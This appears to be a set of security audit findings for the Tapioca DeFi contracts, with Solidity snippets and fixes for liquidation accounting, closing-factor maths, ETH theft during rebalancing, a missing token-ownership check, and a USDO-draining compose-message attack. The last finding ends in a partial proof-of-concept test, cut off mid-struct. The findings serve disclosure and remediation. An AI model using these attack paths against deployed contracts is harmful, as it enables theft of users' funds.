NotEnoughCollateral();\\n }\\n }\\n\\n userBorrowPart[user] -= borrowPart;\\n userCollateralShare[user] -= collateralShare;\\n }\\n```\\n\\nThe methods mentioned above update the user-specific variables `userBorrowPart[user]` and `userCollateralShare[user]` within the `_updateBorrowAndCollateralShare()` method. Additionally, the global variable `totalCollateralShare` is updated within the `_liquidateUser()` method.\\nHowever, there's another crucial global variable, `totalBorrow`, which remains unaltered throughout the entire liquidation process.\\nFailure to update `totalBorrow` during liquidation will result in incorrect subsequent loan-related calculations.\\nNote: SGL Liquidation has the same issues
```\\n function _liquidateUser(\\n address user,\\n uint256 maxBorrowPart,\\n IMarketLiquidatorReceiver _liquidatorReceiver,\\n bytes calldata _liquidatorReceiverData,\\n uint256 _exchangeRate,\\n uint256 minLiquidationBonus\\n ) private {\\n uint256 callerReward = _getCallerReward(user, _exchangeRate);\\n\\n// Remove the line below\\n (uint256 borrowAmount,, uint256 collateralShare) =\\n// Add the line below\\n (uint256 borrowAmount,uint256 borrowPart, uint256 collateralShare) =\\n _updateBorrowAndCollateralShare(user, maxBorrowPart, minLiquidationBonus, _exchangeRate);\\n totalCollateralShare = totalCollateralShare > collateralShare ? totalCollateralShare // Remove the line below\\n collateralShare : 0;\\n// Add the line below\\n totalBorrow.elastic // Remove the line below\\n= borrowAmount.toUint128();\\n// Add the line below\\n totalBorrow.base // Remove the line below\\n= borrowPart.toUint128();\\n```\\n
The lack of an update to `totalBorrow` during liquidation leads to inaccuracies in subsequent loan-related calculations. For instance, this affects interest accumulation and the amount of interest due.
```\\n function _liquidateUser(\\n address user,\\n uint256 maxBorrowPart,\\n IMarketLiquidatorReceiver _liquidatorReceiver,\\n bytes calldata _liquidatorReceiverData,\\n uint256 _exchangeRate,\\n uint256 minLiquidationBonus\\n ) private {\\n uint256 callerReward = _getCallerReward(user, _exchangeRate);\\n\\n (uint256 borrowAmount,, uint256 collateralShare) =\\n _updateBorrowAndCollateralShare(user, maxBorrowPart, minLiquidationBonus, _exchangeRate);\\n totalCollateralShare = totalCollateralShare > collateralShare ? totalCollateralShare - collateralShare : 0;\\n uint256 borrowShare = yieldBox.toShare(assetId, borrowAmount, true);\\n\\n (uint256 returnedShare,) =\\n _swapCollateralWithAsset(collateralShare, _liquidatorReceiver, _liquidatorReceiverData);\\n if (returnedShare < borrowShare) revert AmountNotValid();\\n\\n (uint256 feeShare, uint256 callerShare) = _extractLiquidationFees(returnedShare, borrowShare, callerReward);\\n\\n IUsdo(address(asset)).burn(address(this), borrowAmount);\\n\\n address[] memory _users = new address[](1);\\n _users[0] = user;\\n emit Liquidated(msg.sender, _users, callerShare, feeShare, borrowAmount, collateralShare);\\n }\\n\\n function _updateBorrowAndCollateralShare(\\n address user,\\n uint256 maxBorrowPart,\\n uint256 minLiquidationBonus, // min liquidation bonus to accept (default 0)\\n uint256 _exchangeRate\\n ) private returns (uint256 borrowAmount, uint256 borrowPart, uint256 collateralShare) {\\n if (_exchangeRate == 0) revert ExchangeRateNotValid();\\n\\n // get collateral amount in asset's value\\n uint256 collateralPartInAsset = (\\n yieldBox.toAmount(collateralId, userCollateralShare[user], false) * EXCHANGE_RATE_PRECISION\\n ) / _exchangeRate;\\n\\n // compute closing factor (liquidatable amount)\\n uint256 borrowPartWithBonus =\\n computeClosingFactor(userBorrowPart[user], collateralPartInAsset, FEE_PRECISION_DECIMALS);\\n\\n // limit liquidable amount before bonus to the current debt\\n uint256 userTotalBorrowAmount = totalBorrow.toElastic(userBorrowPart[user], true);\\n borrowPartWithBonus = borrowPartWithBonus > userTotalBorrowAmount ? userTotalBorrowAmount : borrowPartWithBonus;\\n\\n // check the amount to be repaid versus liquidator supplied limit\\n borrowPartWithBonus = borrowPartWithBonus > maxBorrowPart ? maxBorrowPart : borrowPartWithBonus;\\n borrowAmount = borrowPartWithBonus;\\n\\n // compute part units, preventing rounding dust when liquidation is full\\n borrowPart = borrowAmount == userTotalBorrowAmount\\n ? userBorrowPart[user]\\n : totalBorrow.toBase(borrowPartWithBonus, false);\\n if (borrowPart == 0) revert Solvent();\\n\\n if (liquidationBonusAmount > 0) {\\n borrowPartWithBonus = borrowPartWithBonus + (borrowPartWithBonus * liquidationBonusAmount) / FEE_PRECISION;\\n }\\n\\n if (collateralPartInAsset < borrowPartWithBonus) {\\n if (collateralPartInAsset <= userTotalBorrowAmount) {\\n revert BadDebt();\\n }\\n // If current debt is covered by collateral fully\\n // then there is some liquidation bonus,\\n // so liquidation can proceed if liquidator's minimum is met\\n if (minLiquidationBonus > 0) {\\n // `collateralPartInAsset > borrowAmount` as `borrowAmount <= userTotalBorrowAmount`\\n uint256 effectiveBonus = ((collateralPartInAsset - borrowAmount) * FEE_PRECISION) / borrowAmount;\\n if (effectiveBonus < minLiquidationBonus) {\\n revert InsufficientLiquidationBonus();\\n }\\n collateralShare = userCollateralShare[user];\\n } else {\\n revert InsufficientLiquidationBonus();\\n }\\n } else {\\n collateralShare =\\n yieldBox.toShare(collateralId, (borrowPartWithBonus * _exchangeRate) / EXCHANGE_RATE_PRECISION, false);\\n if (collateralShare > userCollateralShare[user]) {\\n revert NotEnoughCollateral();\\n }\\n }\\n\\n userBorrowPart[user] -= borrowPart;\\n userCollateralShare[user] -= collateralShare;\\n }\\n```\\n
`_computeClosingFactor` function will return incorrect values, lower than needed, because it uses `collateralizationRate` to calculate the denominator
high
`_computeClosingFactor` is used to calculate the required borrow amount that should be liquidated to make the user's position solvent. However, this function uses `collateralizationRate` (defaulting to 75%) to calculate the liquidated amount, while the threshold to be liquidatable is `liquidationCollateralizationRate` (defaulting to 80%). Therefore, it will return incorrect liquidated amount.\\nIn `_computeClosingFactor` of Market contract:\\n```\\n//borrowPart and collateralPartInAsset should already be scaled due to the exchange rate computation\\nuint256 liquidationStartsAt =\\n (collateralPartInAsset * _liquidationCollateralizationRate) / (10 ** ratesPrecision);///80% collateral value in asset in default\\n\\nif (borrowPart < liquidationStartsAt) return 0;\\n\\n//compute numerator\\nuint256 numerator = borrowPart - liquidationStartsAt;\\n//compute denominator\\nuint256 diff =\\n (collateralizationRate * ((10 ** ratesPrecision) + _liquidationMultiplier)) / (10 ** ratesPrecision);\\nint256 denominator = (int256(10 ** ratesPrecision) - int256(diff)) * int256(1e13);\\n\\n//compute closing factor\\nint256 x = (int256(numerator) * int256(1e18)) / denominator;\\n```\\n\\nA user will be able to be liquidated if their ratio between borrow and collateral value exceeds `liquidationCollateralizationRate` (see `_isSolvent()` function). However, `_computeClosingFactor` uses `collateralizationRate` (defaulting to 75%) to calculate the denominator for the needed liquidate amount, while the numerator is calculated by using `liquidationCollateralizationRate` (80% in default). These variables were initialized in `_initCoreStorage()`.\\nIn the above calculation of `_computeClosingFactor` function, in default: `_liquidationMultiplier` = 12%, `numerator` = `borrowPart` - `liquidationStartsAt` = borrowAmount - 80% * collateralToAssetAmount => x will be: `numerator` / (1 - 75% * 112%) = `numerator` / 16%\\nHowever, during a partial liquidation of BigBang or Singularity, the actual collateral bonus is `liquidationBonusAmount`, defaulting to 10%. (code snippet). Therefore, the minimum liquidated amount required to make user solvent (unable to be liquidated again) is: numerator / (1 - 80% * 110%) = numerator / 12%.\\nAs result, `computeClosingFactor()` function will return a lower liquidated amount than needed to make user solvent, even when that function attempts to over-liquidate with `_liquidationMultiplier` > `liquidationBonusAmount`.
Use `liquidationCollateralizationRate` instead of `collateralizationRate` to calculate the denominator in `_computeClosingFactor`
This issue will result in the user still being liquidatable after a partial liquidation because it liquidates a lower amount than needed. Therefore, the user will never be solvent again after they are undercollateralized until their position is fully liquidated. This may lead to the user being liquidated more than expected, or experiencing a loss of funds in attempting to recover their position.
```\\n//borrowPart and collateralPartInAsset should already be scaled due to the exchange rate computation\\nuint256 liquidationStartsAt =\\n (collateralPartInAsset * _liquidationCollateralizationRate) / (10 ** ratesPrecision);///80% collateral value in asset in default\\n\\nif (borrowPart < liquidationStartsAt) return 0;\\n\\n//compute numerator\\nuint256 numerator = borrowPart - liquidationStartsAt;\\n//compute denominator\\nuint256 diff =\\n (collateralizationRate * ((10 ** ratesPrecision) + _liquidationMultiplier)) / (10 ** ratesPrecision);\\nint256 denominator = (int256(10 ** ratesPrecision) - int256(diff)) * int256(1e13);\\n\\n//compute closing factor\\nint256 x = (int256(numerator) * int256(1e18)) / denominator;\\n```\\n
All ETH can be stolen during rebalancing for `mTOFTs` that hold native
high
Rebalancing of ETH transfers the ETH to the destination `mTOFT` without calling `sgRecieve` which leaves the ETH hanging inside the `mTOFT` contract. This can be exploited to steal all the ETH.\\nRebalancing of `mTOFTs` that hold native tokens is done through the `routerETH` contract inside the `Balancer.sol` contract. Here is the code snippet for the `routerETH` contract:\\n```\\n## Balancer.sol\\n\\nif (address(this).balance < _amount) revert ExceedsBalance();\\n uint256 valueAmount = msg.value + _amount;\\n routerETH.swapETH{value: valueAmount}(\\n _dstChainId,\\n payable(this),\\n abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft),\\n _amount,\\n _computeMinAmount(_amount, _slippage)\\n );\\n```\\n\\nThe expected behaviour is ETH being received on the destination chain whereby `sgReceive` is called and ETH is deposited inside the `TOFTVault`.\\n```\\n## mTOFT.sol\\n\\n function sgReceive(uint16, bytes memory, uint256, address, uint256 amountLD, bytes memory) external payable {\\n if (msg.sender != _stargateRouter) revert mTOFT_NotAuthorized();\\n\\n if (erc20 == address(0)) {\\n vault.depositNative{value: amountLD}();\\n } else {\\n IERC20(erc20).safeTransfer(address(vault), amountLD);\\n }\\n }\\n```\\n\\nBy taking a closer look at the logic inside the `routerETH` contract we can see that the transfer is called with an empty payload:\\n```\\n // compose stargate to swap ETH on the source to ETH on the destination\\n function swapETH(\\n uint16 _dstChainId, // destination Stargate chainId\\n address payable _refundAddress, // refund additional messageFee to this address\\n bytes calldata _toAddress, // the receiver of the destination ETH\\n uint256 _amountLD, // the amount, in Local Decimals, to be swapped\\n uint256 _minAmountLD // the minimum amount accepted out on destination\\n ) external payable {\\n require(msg.value > _amountLD, "Stargate: msg.value must be > _amountLD");\\n\\n // wrap the ETH into WETH\\n IStargateEthVault(stargateEthVault).deposit{value: _amountLD}();\\n IStargateEthVault(stargateEthVault).approve(address(stargateRouter), _amountLD);\\n\\n // messageFee is the remainder of the msg.value after wrap\\n uint256 messageFee = msg.value - _amountLD;\\n\\n // compose a stargate swap() using the WETH that was just wrapped\\n stargateRouter.swap{value: messageFee}(\\n _dstChainId, // destination Stargate chainId\\n poolId, // WETH Stargate poolId on source\\n poolId, // WETH Stargate poolId on destination\\n _refundAddress, // message refund address if overpaid\\n _amountLD, // the amount in Local Decimals to swap()\\n _minAmountLD, // the minimum amount swap()er would allow to get out (ie: slippage)\\n IStargateRouter.lzTxObj(0, 0, "0x"),\\n _toAddress, // address on destination to send to\\n bytes("") // empty payload, since sending to EOA\\n );\\n }\\n```\\n\\nNotice the comment:\\nempty payload, since sending to EOA\\nSo `routerETH` after depositing ETH in `StargateEthVault` calls the regular `StargateRouter` but with an empty payload.\\nNext, let's see how the receiving logic works.\\nAs Stargate is just another application built on top of LayerZero the receiving starts inside the `Bridge::lzReceive` function. As the type of transfer is `TYPE_SWAP_REMOTE` the `router::swapRemote` is called:\\n```\\nfunction lzReceive(\\n uint16 _srcChainId,\\n bytes memory _srcAddress,\\n uint64 _nonce,\\n bytes memory _payload\\n) external override {\\n\\n\\n if (functionType == TYPE_SWAP_REMOTE) {\\n (\\n ,\\n uint256 srcPoolId,\\n uint256 dstPoolId,\\n uint256 dstGasForCall,\\n Pool.CreditObj memory c,\\n Pool.SwapObj memory s,\\n bytes memory to,\\n bytes memory payload\\n ) = abi.decode(_payload, (uint8, uint256, uint256, uint256, Pool.CreditObj, Pool.SwapObj, bytes, bytes));\\n address toAddress;\\n assembly {\\n toAddress := mload(add(to, 20))\\n }\\n router.creditChainPath(_srcChainId, srcPoolId, dstPoolId, c);\\n router.swapRemote(_srcChainId, _srcAddress, _nonce, srcPoolId, dstPoolId, dstGasForCall, toAddress, s, payload);\\n```\\n\\n`Router:swapRemote` has two responsibilities:\\nFirst it calls `pool::swapRemote` that transfers the actual tokens to the destination address. In this case this is the `mTOFT` contract.\\nSecond it will call `IStargateReceiver(mTOFTAddress)::sgReceive` but only if the payload is not empty.\\n```\\n function _swapRemote(\\n uint16 _srcChainId,\\n bytes memory _srcAddress,\\n uint256 _nonce,\\n uint256 _srcPoolId,\\n uint256 _dstPoolId,\\n uint256 _dstGasForCall,\\n address _to,\\n Pool.SwapObj memory _s,\\n bytes memory _payload\\n) internal {\\n Pool pool = _getPool(_dstPoolId);\\n // first try catch the swap remote\\n try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) {\\n if (_payload.length > 0) {\\n // then try catch the external contract call\\n try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {\\n // do nothing\\n } catch (bytes memory reason) {\\n cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);\\n emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);\\n }\\n }\\n } catch {\\n revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(\\n TYPE_SWAP_REMOTE_RETRY,\\n _srcPoolId,\\n _dstPoolId,\\n _dstGasForCall,\\n _to,\\n _s,\\n _payload\\n );\\n emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);\\n }\\n}\\n```\\n\\nAs payload is empty in case of using the `routerETH` contract the `sgReceive` function is never called. This means that the ETH is left sitting inside the `mTOFT` contract.\\n```\\n## TapiocaOmnichainSender.sol\\n\\n function sendPacket(LZSendParam calldata _lzSendParam, bytes calldata _composeMsg)\\n external\\n payable\\n returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt)\\n {\\n // @dev Applies the token transfers regarding this send() operation.\\n // - amountDebitedLD is the amount in local decimals that was ACTUALLY debited from the sender.\\n // - amountToCreditLD is the amount in local decimals that will be credited to the recipient on the remote OFT instance.\\n (uint256 amountDebitedLD, uint256 amountToCreditLD) =\\n _debit(_lzSendParam.sendParam.amountLD, _lzSendParam.sendParam.minAmountLD, _lzSendParam.sendParam.dstEid);\\n\\n // @dev Builds the options and OFT message to quote in the endpoint.\\n (bytes memory message, bytes memory options) =\\n _buildOFTMsgAndOptions(_lzSendParam.sendParam, _lzSendParam.extraOptions, _composeMsg, amountToCreditLD);\\n\\n // @dev Sends the message to the LayerZero endpoint and returns the LayerZero msg receipt.\\n msgReceipt =\\n _lzSend(_lzSendParam.sendParam.dstEid, message, options, _lzSendParam.fee, _lzSendParam.refundAddress);\\n // @dev Formulate the OFT receipt.\\n oftReceipt = OFTReceipt(amountDebitedLD, amountToCreditLD);\\n\\n emit OFTSent(msgReceipt.guid, _lzSendParam.sendParam.dstEid, msg.sender, amountDebitedLD);\\n }\\n```\\n\\nAll he has to do is specify the option type `lzNativeDrop` inside the `_lsSendParams.extraOptions` and the cost of calling `_lzSend` plus the airdrop amount will be paid out from the balance of `mTOFT`.\\nAs this is a complete theft of the rebalanced amount I'm rating this as a critical vulnerability.
```\\nfunction swapETHAndCall(\\n uint16 _dstChainId, // destination Stargate chainId\\n address payable _refundAddress, // refund additional messageFee to this address\\n bytes calldata _toAddress, // the receiver of the destination ETH\\n SwapAmount memory _swapAmount, // the amount and the minimum swap amount\\n IStargateRouter.lzTxObj memory _lzTxParams, // the LZ tx params\\n bytes calldata _payload // the payload to send to the destination\\n ) external payable {\\n```\\n
All ETH can be stolen during rebalancing for mTOFTs that hold native tokens.
```\\n## Balancer.sol\\n\\nif (address(this).balance < _amount) revert ExceedsBalance();\\n uint256 valueAmount = msg.value + _amount;\\n routerETH.swapETH{value: valueAmount}(\\n _dstChainId,\\n payable(this),\\n abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft),\\n _amount,\\n _computeMinAmount(_amount, _slippage)\\n );\\n```\\n
exerciseOptionsReceiver() Lack of Ownership Check for oTAP, Allowing Anyone to Use oTAPTokenID
high
In UsdoOptionReceiverModule.exerciseOptionsReceiver(): For this method to execute successfully, the `owner` of the `oTAPTokenID` needs to approve it to `address(usdo)`. Once approved, anyone can front-run execute `exerciseOptionsReceiver()` and utilize this authorization.\\nIn `USDO.lzCompose()`, it is possible to specify `_msgType == MSG_TAP_EXERCISE` to execute `USDO.exerciseOptionsReceiver()` across chains.\\n```\\n function exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n// rest of code\\n ITapiocaOptionBroker(_options.target).exerciseOption(\\n _options.oTAPTokenID,\\n address(this), //payment token\\n _options.tapAmount\\n );\\n _approve(address(this), address(pearlmit), 0);\\n uint256 bAfter = balanceOf(address(this));\\n\\n // Refund if less was used.\\n if (bBefore > bAfter) {\\n uint256 diff = bBefore - bAfter;\\n if (diff < _options.paymentTokenAmount) {\\n IERC20(address(this)).safeTransfer(_options.from, _options.paymentTokenAmount - diff);\\n }\\n }\\n// rest of code\\n```\\n\\nFor this method to succeed, USDO must first obtain approve for the `oTAPTokenID`.\\nExample: The owner of `oTAPTokenID` is Alice.\\nalice in A chain execute lzSend(dstEid = B) with\\ncomposeMsg = [oTAP.permit(usdo,oTAPTokenID,v,r,s) 2.exerciseOptionsReceiver(oTAPTokenID,_options.from=alice) 3. oTAP.revokePermit(oTAPTokenID)]\\nin chain B USDO.lzCompose() will\\nexecute oTAP.permit(usdo,oTAPTokenID)\\nexerciseOptionsReceiver(srcChainSender=alice,_options.from=alice,oTAPTokenID )\\noTAP.revokePermit(oTAPTokenID)\\nThe signature of `oTAP.permit` is public, allowing anyone to use it.\\nNote: if alice call approve(oTAPTokenID,usdo) in chain B without signature, but The same result\\nThis opens up the possibility for malicious users to front-run use this signature. Let's consider an example with Bob:\\nBob in Chain A uses Alice's signature (v, r, s):\\ncomposeMsg = [oTAP.permit(usdo, oTAPTokenID, v, r, s), exerciseOptionsReceiver(oTAPTokenID, _options.from=bob)]-----> (Note: `_options.from` should be set to Bob.)\\nIn Chain B, when executing `USDO.lzCompose(dstEid = B)`, the following actions occur:\\nExecute `oTAP.permit(usdo, oTAPTokenID)`\\nExecute `exerciseOptionsReceiver(srcChainSender=bob, _options.from=bob, oTAPTokenID)`\\nAs a result, Bob gains unconditional access to this `oTAPTokenID`.\\nIt is advisable to check the ownership of `oTAPTokenID` is `_options.from` before executing `ITapiocaOptionBroker(_options.target).exerciseOption()`.
add check `_options.from` is owner or be approved\\n```\\n function exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n\\n// rest of code\\n uint256 bBefore = balanceOf(address(this));\\n// Add the line below\\n address oTap = ITapiocaOptionBroker(_options.target).oTAP();\\n// Add the line below\\n address oTapOwner = IERC721(oTap).ownerOf(_options.oTAPTokenID);\\n// Add the line below\\n require(oTapOwner == _options.from\\n// Add the line below\\n || IERC721(oTap).isApprovedForAll(oTapOwner,_options.from)\\n// Add the line below\\n || IERC721(oTap).getApproved(_options.oTAPTokenID) == _options.from\\n// Add the line below\\n ,"invalid");\\n ITapiocaOptionBroker(_options.target).exerciseOption(\\n _options.oTAPTokenID,\\n address(this), //payment token\\n _options.tapAmount\\n );\\n _approve(address(this), address(pearlmit), 0);\\n uint256 bAfter = balanceOf(address(this));\\n\\n // Refund if less was used.\\n if (bBefore > bAfter) {\\n uint256 diff = bBefore - bAfter;\\n if (diff < _options.paymentTokenAmount) {\\n IERC20(address(this)).safeTransfer(_options.from, _options.paymentTokenAmount - diff);\\n }\\n }\\n }\\n```\\n
The `exerciseOptionsReceiver()` function lacks ownership checks for `oTAP`, allowing anyone to use `oTAPTokenID`.
```\\n function exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n// rest of code\\n ITapiocaOptionBroker(_options.target).exerciseOption(\\n _options.oTAPTokenID,\\n address(this), //payment token\\n _options.tapAmount\\n );\\n _approve(address(this), address(pearlmit), 0);\\n uint256 bAfter = balanceOf(address(this));\\n\\n // Refund if less was used.\\n if (bBefore > bAfter) {\\n uint256 diff = bBefore - bAfter;\\n if (diff < _options.paymentTokenAmount) {\\n IERC20(address(this)).safeTransfer(_options.from, _options.paymentTokenAmount - diff);\\n }\\n }\\n// rest of code\\n```\\n
Wrong parameter in remote transfer makes it possible to steal all USDO balance from users
high
Setting a wrong parameter when performing remote transfers enables an attack flow where USDO can be stolen from users.\\nThe following bug describes a way to leverage Tapioca's remote transfers in order to drain any user's USDO balance. Before diving into the issue, a bit of background regarding compose calls is required in order to properly understand the attack.\\nTapioca allows users to leverage LayerZero's compose calls, which enable complex interactions between messages sent across chains. Compose messages are always preceded by a sender address in order for the destination chain to understand who the sender of the compose message is. When the compose message is received, `TapiocaOmnichainReceiver.lzCompose()` will decode the compose message, extract the `srcChainSender_` and trigger the internal `_lzCompose()` call with the decoded `srcChainSender_` as the sender:\\n```\\n// TapiocaOmnichainReceiver.sol\\nfunction lzCompose( \\n address _from,\\n bytes32 _guid,\\n bytes calldata _message,\\n address, //executor\\n bytes calldata //extra Data\\n ) external payable override {\\n // rest of code\\n \\n // Decode LZ compose message.\\n (address srcChainSender_, bytes memory oftComposeMsg_) =\\n TapiocaOmnichainEngineCodec.decodeLzComposeMsg(_message);\\n\\n // Execute the composed message. \\n _lzCompose(srcChainSender_, _guid, oftComposeMsg_); \\n }\\n```\\n\\nOne of the type of compose calls supported in tapioca are remote transfers. When the internal `_lzCompose()` is triggered, users who specify a msgType equal to `MSG_REMOTE_TRANSFER` will make the `_remoteTransferReceiver()` internal call be executed:\\n```\\n// TapiocaOmnichainReceiver.sol\\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n // Decode OFT compose message.\\n (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n // Call Permits/approvals if the msg type is a permit/approval.\\n // If the msg type is not a permit/approval, it will call the other receivers. \\n if (msgType_ == MSG_REMOTE_TRANSFER) { \\n _remoteTransferReceiver(srcChainSender_, tapComposeMsg_); \\n\\n // rest of code\\n\\n}\\n```\\n\\nRemote transfers allow users to burn tokens in one chain and mint them in another chain by executing a recursive `_lzSend()` call. In order to burn the tokens, they will first be transferred from an arbitrary owner set by the function caller via the `_internalTransferWithAllowance()` function.\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\\n\\n /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\\n _internalTransferWithAllowance(\\n remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n ); \\n \\n // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\\n _internalRemoteTransferSendPacket(\\n remoteTransferMsg_.owner, \\n remoteTransferMsg_.lzSendParam, \\n remoteTransferMsg_.composeMsg \\n ); \\n \\n // rest of code\\n }\\n```\\n\\nAfter transferring the tokens via `_internalTransferWithAllowance()`, `_internalRemoteTransferSendPacket()` will be triggered, which is the function that will actually burn the tokens and execute the recursive `_lzSend()` call:\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _internalRemoteTransferSendPacket( \\n address _srcChainSender,\\n LZSendParam memory _lzSendParam, \\n bytes memory _composeMsg\\n ) internal returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt) {\\n // Burn tokens from this contract\\n (uint256 amountDebitedLD_, uint256 amountToCreditLD_) = _debitView(\\n _lzSendParam.sendParam.amountLD, _lzSendParam.sendParam.minAmountLD, _lzSendParam.sendParam.dstEid \\n ); \\n _burn(address(this), amountToCreditLD_); \\n \\n // rest of code\\n \\n // Builds the options and OFT message to quote in the endpoint.\\n (bytes memory message, bytes memory options) = _buildOFTMsgAndOptionsMemory(\\n _lzSendParam.sendParam, _lzSendParam.extraOptions, _composeMsg, amountToCreditLD_, _srcChainSender \\n ); // msgSender is the sender of the composed message. We keep context by passing `_srcChainSender`.\\n \\n // Sends the message to the LayerZero endpoint and returns the LayerZero msg receipt.\\n msgReceipt =\\n _lzSend(_lzSendParam.sendParam.dstEid, message, options, _lzSendParam.fee, _lzSendParam.refundAddress);\\n // rest of code\\n }\\n```\\n\\nAs we can see, the `_lzSend()` call performed inside `_internalRemoteTransferSendPacket()` allows to trigger the remote call with another compose message (built using the `_buildOFTMsgAndOptionsMemory()` function). If there is an actual `_composeMsg` to be appended, the sender of such message will be set to the `_internalRemoteTransferSendPacket()` function's `_srcChainSender` parameter.\\nThe problem is that when `_internalRemoteTransferSendPacket()` is called, the parameter passed as the source chain sender is set to the arbitrary owner address supplied by the caller in the initial compose call, instead of the actual source chain sender:\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n // rest of code\\n \\n // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\\n _internalRemoteTransferSendPacket(\\n remoteTransferMsg_.owner, // <------ This parameter will become the _srcChainSender in the recursive compose message call\\n remoteTransferMsg_.lzSendParam, \\n remoteTransferMsg_.composeMsg \\n ); \\n \\n // rest of code\\n }\\n```\\n\\nThis makes it possible for an attacker to create an attack vector that allows to drain any user's USDO balance. The attack path is as follows:\\nExecute a remote call from chain A to chain B. This call has a compose message that will be triggered in chain B.\\nThe remote transfer message will set the arbitrary `owner` to any victim's address. It is important to also set the amount to be transferred in this first compose call to 0 so that the `attacker` can bypass the allowance check performed inside the `_remoteTransferReceiver()` call.\\nWhen the compose call gets executed, a second packed compose message will be built and triggered inside `_internalRemoteTransferSendPacket()`. This second compose message will be sent from chain B to chain A, and the source chain sender will be set to the arbitrary `owner` address that the `attacker` wants to drain due to the incorrect parameter being passed. It will also be a remote transfer action.\\nWhen chain A receives the compose message, a third compose will be triggered. This third compose is where the token transfers will take place. Inside the `_lzReceive()` triggered in chain A, the composed message will instruct to transfer and burn a certain amount of tokens (selected by the `attacker` when crafting the attack). Because the source chain sender is the victim address and the `owner` specified is also the victim, the `_internalTransferWithAllowance()` executed in chain A will not check for allowances because the `owner` and the spender are the same address (the victim's address). This will burn the attacker's desired amount from the victim's wallet.\\nFinally, a last `_lzSend()` will be triggered to chain B, where the burnt tokens in chain A will be minted. Because the compose calls allow to set a specific recipient address, the receiver of the minted tokens will be the `attacker`.\\nAs a summary: the attack allows to combine several compose calls recursively so that an attacker can burn victim's tokens in Chain A, and mint them in chain B to a desired address. The following diagram summarizes the attack for clarity:\\n\\nThe following proof of concept illustrates how the mentioned attack can take place. In order to execute the PoC, the following steps must be performed:\\nCreate an `EnpointMock.sol` file inside the `test` folder inside `Tapioca-bar` and paste the following code (the current tests are too complex, this imitates LZ's endpoint contracts and reduces the poc's complexity):\\n```\\n// SPDX-License-Identifier: LZBL-1.2\\n\\npragma solidity ^0.8.20;\\n\\nstruct MessagingReceipt {\\n bytes32 guid;\\n uint64 nonce;\\n MessagingFee fee;\\n}\\n\\nstruct MessagingParams {\\n uint32 dstEid;\\n bytes32 receiver;\\n bytes message;\\n bytes options; \\n bool payInLzToken;\\n}\\n\\nstruct MessagingFee {\\n uint256 nativeFee;\\n uint256 lzTokenFee;\\n}\\ncontract MockEndpointV2 {\\n\\n \\n function send(\\n MessagingParams calldata _params,\\n address _refundAddress\\n ) external payable returns (MessagingReceipt memory receipt) {\\n // DO NOTHING\\n }\\n\\n /// @dev the Oapp sends the lzCompose message to the endpoint\\n /// @dev the composer MUST assert the sender because anyone can send compose msg with this function\\n /// @dev with the same GUID, the Oapp can send compose to multiple _composer at the same time\\n /// @dev authenticated by the msg.sender\\n /// @param _to the address which will receive the composed message\\n /// @param _guid the message guid\\n /// @param _message the message\\n function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {\\n // DO NOTHING\\n \\n }\\n \\n}\\n```\\n\\nImport and deploy two mock endpoints in the `Usdo.t.sol` file\\nChange the inherited OApp in `Usdo.sol` 's implementation so that the endpoint variable is not immutable and add a `setEndpoint()` function so that the endpoint configured in `setUp()` can be chainged to the newly deployed endpoints\\nPaste the following test insde `Usdo.t.sol` :\\n```\\nfunction testVuln_stealUSDOFromATargetUserDueToWrongParameter() public {\\n\\n // Change configured enpoints\\n\\n endpoints[aEid] = address(mockEndpointV2A);\\n endpoints[bEid] = address(mockEndpointV2B);\\n\\n aUsdo.setEndpoint(address(mockEndpointV2A));\\n bUsdo.setEndpoint(address(mockEndpointV2B));\\n\\n \\n \\n deal(address(aUsdo), makeAddr("victim"), 100 ether);\\n\\n ////////////////////////////////////////////////////////\\n // PREPARE MESSAGES //\\n ////////////////////////////////////////////////////////\\n\\n // FINAL MESSAGE A ---> B \\n\\n SendParam memory sendParamAToBVictim = SendParam({\\n dstEid: bEid,\\n to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal\\n minAmountLD: 100 ether,\\n extraOptions: bytes(""),\\n composeMsg: bytes(""),\\n oftCmd: bytes("")\\n }); \\n MessagingFee memory feeAToBVictim = MessagingFee({\\n nativeFee: 0,\\n lzTokenFee: 0\\n });\\n \\n LZSendParam memory lzSendParamAToBVictim = LZSendParam({\\n sendParam: sendParamAToBVictim,\\n fee: feeAToBVictim,\\n extraOptions: bytes(""),\\n refundAddress: makeAddr("attacker")\\n });\\n\\n RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({\\n owner: 